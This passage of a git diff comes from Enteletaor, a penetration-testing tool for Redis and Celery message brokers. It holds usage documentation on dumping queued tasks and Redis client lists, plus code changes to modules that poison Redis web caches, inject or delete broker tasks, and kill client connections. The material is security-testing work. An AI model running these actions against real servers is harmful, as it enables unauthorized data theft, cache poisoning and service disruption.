10.10.0.10/24 + + +Remote tasks +------------ + +Listing remote tasks +++++++++++++++++++++ + +With enteleteaor you can handle remote tasks, for example, you can list pending tasks making: + +.. code-block:: bash + + # enteleteaor -v tasks list-tasks -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Remote process found: + [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) + [ * ] Done! + +Enteleteaor is telling us that has discovered a task, called ``tasks.send_mail`` with 3 parameters, and what type has in each position. + +The tool can't discover the parameter name, thus indicate the position. This tasks can match with this programing function, i.e: + +.. code-block:: python + :linenos: + :emphasize-lines: 3,6,9 + + def send_mail(to, from, message): + """ + :param to: mail destination + :type to: str + + :param from: mail sender + :type from: str + + :param message: content of message + :type message: str + """ + # Code that send the e-mail + +Dump tasks content +++++++++++++++++++ + +Enteleteaor not only permit us to list remote tasks, it also can dump the tasks content: + +.. code-block:: bash + :linenos: + :emphasize-lines: 6-8,12-14,18-20 + + # enteleteaor tasks raw-dump -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Found process information: + [ * ] - Remote process name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: particia@stephnie.com + [ * ] -> P1: Open This Email The broke girl's guide to a luxury vacation What Can You Afford? + [ * ] -> P2: Asia and the Pacific and was already at war with the invasion of the United States emerged as rival superpowers, setting the stage for the Cold War, which lasted for the next 46 years. + [ * ] Found process information: + [ * ] - Remote process name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: eveline@stephnie.com + [ * ] -> P1: Can You Afford? + [ * ] -> P2: Berlin by Soviet and Polish troops and the coalition of the United Kingdom and the United States and European territories in the Pacific, the Axis lost the initiative and undertook strategic retreat on all fronts. + [ * ] Found process information: + [ * ] - Remote process name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: milford@stephnie.com + [ * ] -> P1: Hey Don't Open This Email The broke girl's guide to a luxury vacation What Can You Afford? + [ * ] -> P2: European neighbours, Poland, Finland, Romania and the Axis. + [ * ] No more messages from server. Exiting... + [ * ] Done! + +Redis +----- + +Redis is a powerful software, with many options, so it can a specific super command. + +Getting remove Redis info ++++++++++++++++++++++++++ + +If you want to list remote Redis server information, only type: + +.. code-block:: bash + + # enteleteaor redis info -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Config for server '10.10.0.10': + [ * ] - appendonly: no + [ * ] - auto-aof-rewrite-min-size: 67108864 + ... + [ * ] - timeout: 0 + [ * ] - databases: 16 + [ * ] - slave-priority: 100 + [ * ] - dir: /var/lib/redis + [ * ] Done! + +Listing users ++++++++++++++ + +We can also list all connected users to Redis server. A user could be a web application (that uses Redis as cache), a monitoring system or, even, the administrator. + +.. code-block:: bash + + # enteleteaor redis connected -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Connected users to '10.10.0.10': + [ * ] - 10.10.0.2:52748 (DB: 0) + [ * ] - 10.10.0.2:52749 (DB: 0) + [ * ] - 10.10.0.2:52752 (DB: 0) + [ * ] - 127.0.0.1:42262 (DB: 0) + [ * ] - 10.10.0.2:53095 (DB: 0) + [ * ] Done! + +Localhost addresses usually are local monitoring or admin. \ No newline at end of file diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 24765b0..af8a838 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -24,7 +24,6 @@ class ModuleModel(CommonData): target = StringField(required=True) port = IntegerField(default=6379) db = IntegerField(default=0) - export_results = StringField() # ---------------------------------------------------------------------- diff --git a/enteletaor_lib/modules/redis/cmd_actions.py b/enteletaor_lib/modules/redis/cmd_actions.py index cfc2335..8a26306 100644 --- a/enteletaor_lib/modules/redis/cmd_actions.py +++ b/enteletaor_lib/modules/redis/cmd_actions.py @@ -13,6 +13,8 @@ def parser_redis_dump(parser): gr = parser.add_argument_group("custom raw dump options") gr.add_argument("--no-screen", action="store_true", dest="no_screen", default=False, help="do not show displays raw database info into screen") + gr.add_argument("-e", "--export-results", dest="export_results", + help="export dumped information results") # ---------------------------------------------------------------------- diff --git a/enteletaor_lib/modules/redis/redis_cache.py b/enteletaor_lib/modules/redis/redis_cache.py index e49dbd9..26702ac 100644 --- a/enteletaor_lib/modules/redis/redis_cache.py +++ b/enteletaor_lib/modules/redis/redis_cache.py @@ -62,6 +62,7 @@ def handle_html(config, content): # -------------------------------------------------------------------------- pos_ini = pos_end = None for i, x in enumerate(content): + tmp_pos = -1 if six.PY2: if six.u(x) == six.u("<"): tmp_pos = i @@ -205,9 +206,19 @@ def action_redis_cache_poison(config): for val in cache_keys: content = dump_key(val, con) + try: + _val = val.decode(errors="ignore") + except AttributeError: + _val = val + + try: + _content = content.decode(errors="ignore") + except AttributeError: + _content = content + # If key doesn't exist content will be None if content is None: - log.error(" - Provided key '%s' not found in server" % val) + log.error(" - Provided key '%s' not found in server" % _val) continue # -------------------------------------------------------------------------- @@ -217,7 +228,7 @@ def action_redis_cache_poison(config): if config.poison is True: # Set injection try: - modified = handle_html(config, content) + modified = handle_html(config, content) # DO NOT USE _content. Function expect bytes, not str. except ValueError as e: log.error(" - Can't modify cache content: " % e) continue @@ -232,12 +243,12 @@ def action_redis_cache_poison(config): # Set injection into server con.setex(val, 200, modified) - log.error(" - Poisoned cache key '%s' at server '%s'" % (val, config.target)) + log.error(" - Poisoned cache key '%s' at server '%s'" % (_val, config.target)) else: # If not poison enabled display cache keys - log.error(" -> Key: '%s' - " % val) - log.error(" -> Content:\n %s" % content) + log.error(" -> Key: '%s'" % _val) + log.error(" -> Content:\n %s" % _content) if not cache_keys: - log.error(" - No cache keys found in server: Can't poison remote cache.") + log.error(" - No cache keys found in server.") diff --git a/enteletaor_lib/modules/redis/redis_disconnect.py b/enteletaor_lib/modules/redis/redis_disconnect.py index 6b11f8d..aa9ad08 100644 --- a/enteletaor_lib/modules/redis/redis_disconnect.py +++ b/enteletaor_lib/modules/redis/redis_disconnect.py @@ -24,13 +24,13 @@ def action_redis_server_disconnect(config): for c in clients: con.client_kill(c) - log.error(" - Disconnected client '%s'" % c) + log.error(" - Client '%s' was disconnected" % c) # Disconnect only one user else: # Check client format if config.client is None or ":" not in config.client: - log.error("Invalid client format. Client must be format: IP:PORT, i.e: 10.211.55.2:61864") + log.error(" Invalid client format. Client must be format: IP:PORT, i.e: 10.211.55.2:61864") return try: @@ -38,6 +38,6 @@ def action_redis_server_disconnect(config): con.client_kill(_c) - log.error(" - Disconnected client '%s'" % _c) + log.error(" - Client '%s' was disconnected" % _c) except KeyError: - log.error("Client '%s' doesn't appear to be connected to server" % config.client) + log.error(" Client '%s' doesn't appear to be connected to server" % config.client) diff --git a/enteletaor_lib/modules/redis/redis_discover_db.py b/enteletaor_lib/modules/redis/redis_discover_db.py index 59b5a18..c169b95 100644 --- a/enteletaor_lib/modules/redis/redis_discover_db.py +++ b/enteletaor_lib/modules/redis/redis_discover_db.py @@ -19,8 +19,18 @@ def action_redis_discover_dbs(config): log.error("Discovered '%s' DBs at '%s':" % (config.target, con.config_get("databases")['databases'])) + discovered_dbs = set() + for db_name, db_content in six.iteritems(con.info("keyspace")): log.error(" - %s - %s keys" % (db_name.upper(), db_content['keys'])) + discovered_dbs.add(db_name.upper()) + for i in six.moves.range((int(con.config_get("databases")['databases']) - len(con.info("keyspace")))): - log.error(" - DB%s - Empty" % str(i)) + + _db_name = "DB%s" % i + + if _db_name in discovered_dbs: + continue + + log.error(" - %s - Empty" % _db_name) diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py index 6188224..5dad644 100644 --- a/enteletaor_lib/modules/redis/redis_dump.py +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -19,12 +19,14 @@ def dump_keys(con): val = None if key_type in (b"kv", b"string"): val = con.get(key) - if key_type in (b"hash", b"unacked", b"unacked_index"): + elif key_type in (b"hash", b"unacked", b"unacked_index"): val = con.hgetall(key) - if key_type == b"zet": + elif key_type == b"zet": val = con.zrange(key, 0, -1) - if key_type in (b"set", b"list"): + elif key_type in (b"set", b"list"): val = con.mget(key) + elif key_type == b"list": + con.lrange(key, 0, -1) if val is not None: if isinstance(val, list): @@ -59,7 +61,6 @@ def _decode_object(val, ident=5): # convert value to original type -> JSON try: _transformed_info = json.loads(v.decode("utf-8")) - # except (binascii.Error, AttributeError, ValueError): except (binascii.Error, AttributeError, ValueError): _transformed_info = v @@ -151,14 +152,20 @@ def action_redis_dump(config): # Export results? export_file = None + export_file_name = None + + # Fix filename if config.export_results: - export_file = open(config.export_results, "w") - log.error(" - Storing information into '%s'" % config.export_results) + export_file_name = config.export_results if ".json" in config.export_results else "%s.json" % config.export_results + + if config.export_results: + export_file = open(export_file_name, "w") + log.error(" - Storing information into '%s'" % export_file_name) elif config.no_screen is True: log.error(" If results will not be displayed, you must to indicate output file for results.") return - i = 0 + registers = False for i, t_val in enumerate(dump_keys(con)): key = t_val[0] val = t_val[1] @@ -169,10 +176,13 @@ def action_redis_dump(config): # Dump to file? if export_file is not None: - export_file.write(str(val)) + export_file.write("%s: %s" % (key, str(val))) - if i == 0: - log.error(" - No information to dump in database") + # There are registers + registers = True + + if registers is False: + log.error(" - No information to dump in database") # Close file descriptor if export_file is not None: diff --git a/enteletaor_lib/modules/scan/scan_main.py b/enteletaor_lib/modules/scan/scan_main.py index 7613335..213dd0e 100644 --- a/enteletaor_lib/modules/scan/scan_main.py +++ b/enteletaor_lib/modules/scan/scan_main.py @@ -172,7 +172,7 @@ def build_targets(config): for v in val: log.debug(" -> Detected registered network '%s'. Added for scan." % v) - results.update(str(x) for x in ipaddress.ip_network(v, strict=False)) + results.update(str(x) for x in ipaddress.ip_network(six.u(v), strict=False)) except KeyError: # Invalid domain log.debug(" Error while try to extract domain: '%s'" % t) diff --git a/enteletaor_lib/modules/tasks/__init__.py b/enteletaor_lib/modules/tasks/__init__.py index 4ea124e..c740619 100644 --- a/enteletaor_lib/modules/tasks/__init__.py +++ b/enteletaor_lib/modules/tasks/__init__.py @@ -8,11 +8,11 @@ from .. import IModule from ...libs.core.structs import CommonData from ...libs.core.models import StringField, SelectField -from .cmd_actions import parser_proc_raw_dump, parser_proc_list_process, parser_proc_inject_process -from .proc_remove import action_proc_remove -from .proc_raw_dump import action_proc_raw_dump -from .proc_list_process import action_proc_list_process -from .proc_inject_process import action_proc_inject_process +from .cmd_actions import parser_proc_raw_dump, parser_proc_list_tasks, parser_taks_inject_process +from .tasks_remove import action_proc_remove +from .tasks_raw_dump import action_proc_raw_dump +from .tasks_list_process import action_proc_list_tasks +from .tasks_inject_process import action_task_inject_process log = logging.getLogger() @@ -21,6 +21,8 @@ log = logging.getLogger() class ModuleModel(CommonData): target = StringField(required=True) db = StringField(default=None, label="only for Redis: database to use") + process_manager = SelectField(default="celery", choices=[("celery", "Celery")], + label="process manager running in backend") broker_type = SelectField(default="redis", choices=[ ("redis", "Redis server"), ("zmq", "ZeroMQ"), @@ -40,15 +42,15 @@ class RemoteProcessModule(IModule): cmd_args=parser_proc_raw_dump, action=action_proc_raw_dump ), - 'list-process': dict( - help="list remote process and their params", - cmd_args=parser_proc_list_process, - action=action_proc_list_process + 'list-tasks': dict( + help="list remote tasks and their params", + cmd_args=parser_proc_list_tasks, + action=action_proc_list_tasks ), 'inject': dict( - help="list remote process and their params", - cmd_args=parser_proc_inject_process, - action=action_proc_inject_process + help="inject a new task into broker", + cmd_args=parser_taks_inject_process, + action=action_task_inject_process ), 'remove': dict( help="remove remote processes in server", diff --git a/enteletaor_lib/modules/tasks/cmd_actions.py b/enteletaor_lib/modules/tasks/cmd_actions.py index 1a2286e..0cb34fb 100644 --- a/enteletaor_lib/modules/tasks/cmd_actions.py +++ b/enteletaor_lib/modules/tasks/cmd_actions.py @@ -13,10 +13,11 @@ def parser_proc_raw_dump(parser): help="although all information be dumped do not stop") gr.add_argument("-I", dest="interval", type=float, default=4, help="timeout interval between tow connections") + gr.add_argument("--output", dest="output", help="store dumped information into file") # ---------------------------------------------------------------------- -def parser_proc_list_process(parser): +def parser_proc_list_tasks(parser): parser.add_argument("-N", "--no-stream", dest="no_stream", action="store_true", default=False, help="force to not listen until message is received") @@ -29,7 +30,7 @@ def parser_proc_list_process(parser): # ---------------------------------------------------------------------- -def parser_proc_inject_process(parser): +def parser_taks_inject_process(parser): gr = parser.add_argument_group("process importing options") gr.add_argument("-f", "--function-file", dest="function_files", type=str, required=True, diff --git a/enteletaor_lib/modules/tasks/proc_raw_dump.py b/enteletaor_lib/modules/tasks/proc_raw_dump.py deleted file mode 100644 index a7ea680..0000000 --- a/enteletaor_lib/modules/tasks/proc_raw_dump.py +++ /dev/null @@ -1,42 +0,0 @@ -# -*- coding: utf-8 -*- - -import six -import logging - -from time import sleep -from kombu import Connection - -from .utils import list_remote_process - -log = logging.getLogger() - - -# ---------------------------------------------------------------------- -def action_proc_raw_dump(config): - - log.warning(" - Trying to connect with server...") - - url = '%s://%s' % (config.broker_type, config.target) - - # with Connection('redis://%s' % REDIS) as conn: - with Connection(url) as conn: - in_queue = conn.SimpleQueue('celery') - - while 1: - - for remote_process, remote_args in list_remote_process(config, in_queue): - # Show info - log.error("Found process information:") - log.error(" - Remote process name: '%s'" % remote_process) - log.error(" - Input parameters:") - - for i, x in enumerate(remote_args): - log.error(" -> P%s: %s" % (i, x)) - - # Queue is empty -> wait - if config.streaming_mode: - log.error("No more messages from server. Waiting for %s seconds and try again.." % config.interval) - sleep(config.interval) - else: - log.error("No more messages from server. Exiting...") - return diff --git a/enteletaor_lib/modules/tasks/proc_inject_process.py b/enteletaor_lib/modules/tasks/tasks_inject_process.py similarity index 89% rename from enteletaor_lib/modules/tasks/proc_inject_process.py rename to enteletaor_lib/modules/tasks/tasks_inject_process.py index 8fa0688..2c59697 100644 --- a/enteletaor_lib/modules/tasks/proc_inject_process.py +++ b/enteletaor_lib/modules/tasks/tasks_inject_process.py @@ -14,10 +14,10 @@ log = logging.getLogger() # ---------------------------------------------------------------------- -def action_proc_inject_process(config): +def action_task_inject_process(config): if config.function_files is None: - log.warning(" - input .json file with process files is needed") + log.error(" - input .json file with process files is needed") return # -------------------------------------------------------------------------- @@ -26,7 +26,7 @@ def action_proc_inject_process(config): with open(config.function_files, "r") as f: f_info = json.load(f) - log.warning(" - Building process...") + log.error(" - Building process...") # Search and inject process injections = [] @@ -68,7 +68,7 @@ def action_proc_inject_process(config): with Connection(url) as conn: in_queue = conn.SimpleQueue('celery') - log.warning(" - Sending processes to '%s'" % config.target) + log.error(" - Sending processes to '%s'" % config.target) for i, e in enumerate(injections, 1): log.warning(" %s) %s" % (i, e['task'])) diff --git a/enteletaor_lib/modules/tasks/proc_list_process.py b/enteletaor_lib/modules/tasks/tasks_list_process.py similarity index 94% rename from enteletaor_lib/modules/tasks/proc_list_process.py rename to enteletaor_lib/modules/tasks/tasks_list_process.py index c9c5fde..6fbcc2e 100644 --- a/enteletaor_lib/modules/tasks/proc_list_process.py +++ b/enteletaor_lib/modules/tasks/tasks_list_process.py @@ -14,7 +14,7 @@ log = logging.getLogger() # ---------------------------------------------------------------------- -def action_proc_list_process(config): +def action_proc_list_tasks(config): log.warning(" - Trying to connect with server...") @@ -29,7 +29,7 @@ def action_proc_list_process(config): # Get remote process first_msg = True while 1: - for remote_process, remote_args in list_remote_process(config, in_queue): + for remote_process, remote_args, _ in list_remote_process(config, in_queue): if remote_process not in process_info: process_info[remote_process] = remote_args diff --git a/enteletaor_lib/modules/tasks/tasks_raw_dump.py b/enteletaor_lib/modules/tasks/tasks_raw_dump.py new file mode 100644 index 0000000..6f78450 --- /dev/null +++ b/enteletaor_lib/modules/tasks/tasks_raw_dump.py @@ -0,0 +1,83 @@ +# -*- coding: utf-8 -*- + +import six +import csv +import logging + +from time import sleep +from kombu import Connection + +from .utils import list_remote_process + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def action_proc_raw_dump(config): + + log.warning(" - Trying to connect with server...") + + url = '%s://%s' % (config.broker_type, config.target) + + f_output = None + csv_output = None + + if config.output is not None: + fixed_f = "%s.csv" % config.output if ".csv" not in config.output else config.output + + f_output = open(fixed_f, "a") + csv_output = csv.writer(f_output) + + log.error(" - Storing results at '%s'" % fixed_f) + + # Write first col + csv_output.writerow([ + "# Task name", + "Parameters (position#value)" + ]) + + already_processed = set() + + # with Connection('redis://%s' % REDIS) as conn: + with Connection(url) as conn: + in_queue = conn.SimpleQueue('celery') + + while 1: + + for remote_task, remote_args, task_id in list_remote_process(config, in_queue): + + # Task already processed? + if task_id not in already_processed: + + # Track + already_processed.add(task_id) + + # Show info + log.error(" Found process information:") + log.error(" - Remote tasks name: '%s'" % remote_task) + log.error(" - Input parameters:") + + to_csv = [remote_task] + + for i, x in enumerate(remote_args): + log.error(" -> P%s: %s" % (i, x)) + + # Prepare to store JSON + to_csv.append("%s#%s" % (i, x)) + + # Store + if csv_output is not None: + csv_output.writerow(to_csv) + + # Queue is empty -> wait + if config.streaming_mode: + log.error(" -> No more messages from server. Waiting for %s seconds and try again.." % config.interval) + sleep(config.interval) + else: + log.error(" -> No more messages from server. Exiting...") + return + + # Close file descriptor + if f_output is not None: + f_output.close() + csv_output.close() diff --git a/enteletaor_lib/modules/tasks/proc_remove.py b/enteletaor_lib/modules/tasks/tasks_remove.py similarity index 88% rename from enteletaor_lib/modules/tasks/proc_remove.py rename to enteletaor_lib/modules/tasks/tasks_remove.py index d9c601e..2ad25ab 100644 --- a/enteletaor_lib/modules/tasks/proc_remove.py +++ b/enteletaor_lib/modules/tasks/tasks_remove.py @@ -23,4 +23,4 @@ def action_proc_remove(config): for _ in get_remote_messages(config, in_queue, False): pass - log.error(" - All processes removed from '%s'" % config.target) + log.error(" - All tasks removed from '%s'" % config.target) diff --git a/enteletaor_lib/modules/tasks/utils.py b/enteletaor_lib/modules/tasks/utils.py index a7bab9b..2b88bd5 100644 --- a/enteletaor_lib/modules/tasks/utils.py +++ b/enteletaor_lib/modules/tasks/utils.py @@ -38,7 +38,7 @@ def get_param_type(value): except Exception: return "str" - elif type(value) == str: + elif type(value) in (str, unicode if six.PY2 else ""): return "str" else: return "object" @@ -138,11 +138,10 @@ def list_remote_process(config, queue): # Read info if msg_id not in already_processed: - # remote_process = deserialized['task'].split(".")[-1] remote_process = deserialized['task'] remote_args = deserialized['args'] # Store as processed already_processed.add(msg_id) - yield remote_process, remote_args + yield remote_process, remote_args, msg_id diff --git a/setup.py b/setup.py index f47b74a..64f42de 100644 --- a/setup.py +++ b/setup.py @@ -25,15 +25,15 @@ from os.path import dirname, join from setuptools import setup, find_packages +from .enteletaor_lib.config import __version__ # Import requirements with open(join(dirname(__file__), 'requirements.txt')) as f: required = f.read().splitlines() - setup( name='enteletaor', - version='1.0.0', + version=__version__, install_requires=required, url='https://github.com/cr0hn/enteletaor', license='BSD',